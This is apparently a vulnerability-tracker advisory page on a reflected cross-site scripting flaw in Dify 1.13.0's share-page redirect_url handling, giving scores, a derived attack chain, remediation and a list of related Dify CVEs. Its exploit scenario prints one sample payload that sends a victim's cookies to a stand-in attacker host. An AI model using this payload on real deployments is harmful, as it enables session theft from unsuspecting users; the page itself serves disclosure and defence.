Skip to main content

Dify EUVDEUVD-2026-70297

| CVE-2026-85021 LOW
Cross-site Scripting (XSS) (CWE-79)
2026-09-03 VulDB GHSA-mf5r-rpc2-6jqp
2.1
CVSS 4.0 · Vendor: VulDB
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Craft redirect_url XSS payload
  2. Delivery
    Embed in Dify share-page link
  3. Exploit
    Deliver link to target via phishing
  4. Install
    Victim clicks link
  5. C2
    router.replace() executes unsanitized URI
  6. Execute
    Attacker script runs in victim browser
  7. Impact
    Exfiltrate session token or perform actions as victim

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The vulnerability is exploitable against Dify instances with publicly accessible share-layout pages (the /(shareLayout)/ route). No authentication to the Dify instance is required from the attacker. The sole prerequisite is that the victim performs a single user interaction - clicking or navigating to a crafted URL. There is no requirement for a non-default configuration; any Dify 1.13.0 deployment exposing its web frontend is potentially affected. Exploitation is limited in impact to what can be accomplished via client-side script in the victim's browser session (e.g., cookie theft, forced navigation, credential phishing), bounded by browser same-origin policy and any Content-Security-Policy headers deployed by the operator.

Impact

The CVSS 4.0 base score is 5.3 (Medium), reflecting AV:N/AC:L/PR:N/UI:P/VC:N/VI:L. This rating is plausible but arguably understates confidentiality impact: a successful reflected XSS can exfiltrate session tokens, API keys stored in browser storage, or CSRF tokens, yet the provided vector sets VC:N. The E:P supplemental metric confirms a publicly available exploit, raising real-world exploitation likelihood above what the base score implies. EPSS data was not provided. This CVE is not listed in the CISA KEV catalog, suggesting no confirmed mass exploitation, but the low attack complexity and available PoC make opportunistic exploitation feasible. The primary limiting factor is the required user interaction (UI:P) - a victim must click a crafted link. Given Dify's use as a shared LLM application host, share-link workflows are a natural delivery vector, reducing the practical barrier of the UI:P requirement.

Exploit ScenarioDerived

An attacker crafts a Dify share-page URL with a redirect_url query parameter containing a JavaScript URI payload (e.g., javascript:fetch('https://attacker.example/steal?c='+document.cookie)) and delivers it to a target via phishing or a malicious link. When the victim opens the link, the Splash Layout's router.replace() processes the unsanitized redirect_url, executing the attacker's script in the victim's browser session. A public PoC demonstrating this technique is available at the GitHub Gist linked in the CVE references.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
No patch listed yet 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 03, 2026

Cross-site scripting in Dify 1.13.0 allows unauthenticated remote attackers to inject arbitrary client-side script via the redirect_url argument processed by the router.replace function in the Splash Layout component. Exploitation requires a single user interaction - the victim must follow a crafted link - but no account or prior access to the Dify instance is required. A public proof-of-concept exploit was disclosed on GitHub Gist on or around 2026-07-05; the vendor did not respond to the coordinated disclosure, and no confirmed patch is available at time of analysis.

RemediationAI

Consult the GitHub Security Advisory GHSA-7qgm-pqv4-668x (https://github.com/langgenius/dify/security/advisories/GHSA-7qgm-pqv4-668x) for any patch or workaround details - no specific fixed version number was provided in the disclosure. Because the vendor did not respond to the coordinated disclosure, a vendor-released patch is not independently confirmed at time of analysis. As a compensating control, operators can restrict access to share-layout URLs at the reverse-proxy or WAF layer to trusted users or IP ranges, eliminating the unauthenticated attack surface entirely; the trade-off is that public share links will stop functioning. Alternatively, a WAF rule blocking javascript: and data: URI schemes in the redirect_url query parameter will neutralize the most common XSS payloads without disabling the feature, though this requires tuning to avoid false positives.

Affected VersionsENISA

dify 1.13.0

Affected Packages

euvd dify no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Dify is an open-source LLM application development platform (cpe:2.3:a:langgenius:dify). The vulnerable code resides in web/app/(shareLayout)/components/splash.tsx, which handles the shared layout for publicly accessible share pages. The router.replace() call in this component consumes a redirect_url query parameter without adequate sanitization or URL validation, allowing an attacker to supply a javascript: URI or other XSS payload that Next.js's client-side router will execute in the victim's browser context. CWE-79 (Improper Neutralization of Input During Web Page Generation) is the root cause class - user-supplied data flows into a navigation/DOM-manipulation sink without encoding.

Know when Dify gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulDB) PRIMARY 2.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
vuln.today AI 6.1 MEDIUM

Reflected XSS with network delivery, no privileges needed, user click required (UI:R), scope changes to victim browser enabling session theft (C:L) and limited integrity writes (I:L).

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (VulDB).

CVSS VectorVendor: VulDB

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

3
Severity Changed
Sep 03, 2026 - 13:07 NVD
MEDIUM LOW
CVSS changed
Sep 03, 2026 - 13:07 NVD
5.3 (MEDIUM) 2.1 (LOW)
CVE Published
Sep 03, 2026 - 00:30 cve.org
MEDIUM 5.3

DescriptionCVE.org

A vulnerability was determined in langgenius dify 1.13.0. Affected is the function router.replace of the file web/app/(shareLayout)/components/splash.tsx of the component Splash Layout. This manipulation of the argument redirect_url causes cross site scripting. The attack is possible to be carried out remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.

Threat Intelligence Overview

EPSS Score
0.4%
Top 70% exploitable
Prevalence
High
popular open-source LLM app platform, large GitHub community
Exploit
POC
Public exploit code exists
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC Yes
EPSS 0.4%
Patch available No
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
High
Technical Impact
Partial

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +10
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Related Vulnerabilities in langgenius dify XSS in Share Layout Components

View all 2

More in Dify

View all
CVE-2025-63387 HIGH POC
7.5 Dec 18

Dify 1.9.1 permits unauthenticated remote GET requests to the /console/api/system-features console endpoint, letting ano

CVE-2025-56157 CRITICAL POC
9.8 Dec 18

Hard-coded default PostgreSQL credentials shipped in the docker-compose.yaml of langgenius Dify through version 1.5.1 al

CVE-2026-41948 CRITICAL POC
9.3 May 18

Path traversal in Dify versions 0 through 1.14.1 allows authenticated tenants to escape their authorized tenant path and

CVE-2026-41947 CRITICAL POC
9.3 May 18

Cross-tenant authorization bypass in LangGenius Dify versions through 1.14.1 lets any logged-in editor reroute another t

CVE-2025-1796 HIGH POC
8.8 Mar 20

A vulnerability in langgenius/dify v0.10.1 allows an attacker to take over any account, including administrator accounts

CVE-2026-61461 HIGH POC
8.7 Jul 10

SQL injection in Dify's MyScale vector store backend (versions before 1.16.0-rc1) lets authenticated attackers execute a

CVE-2025-67732 HIGH POC
8.4 Jan 05

Plaintext exposure of third-party service API keys in Dify prior to version 1.11.0 allows any authenticated non-administ

CVE-2026-41949 HIGH POC
8.2 May 18

Cross-tenant document disclosure in Dify 1.14.1 and prior allows any authenticated user to read up to 3,000 characters o

CVE-2024-12039 HIGH POC
8.1 Mar 20

langgenius/dify version v0.10.1 contains a vulnerability where there are no limits applied to the number of code guess a

CVE-2024-12776 HIGH POC
8.1 Mar 20

In langgenius/dify v0.10.1, the `/forgot-password/resets` endpoint does not verify the password reset code, allowing an

CVE-2025-43862 HIGH POC
7.6 Apr 25

Dify is an open-source LLM app development platform. Rated high severity (CVSS 7.6), this vulnerability is remotely expl

CVE-2024-11824 HIGH POC
7.6 Mar 20

A stored cross-site scripting (XSS) vulnerability exists in langgenius/dify version latest, specifically in the chat log

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy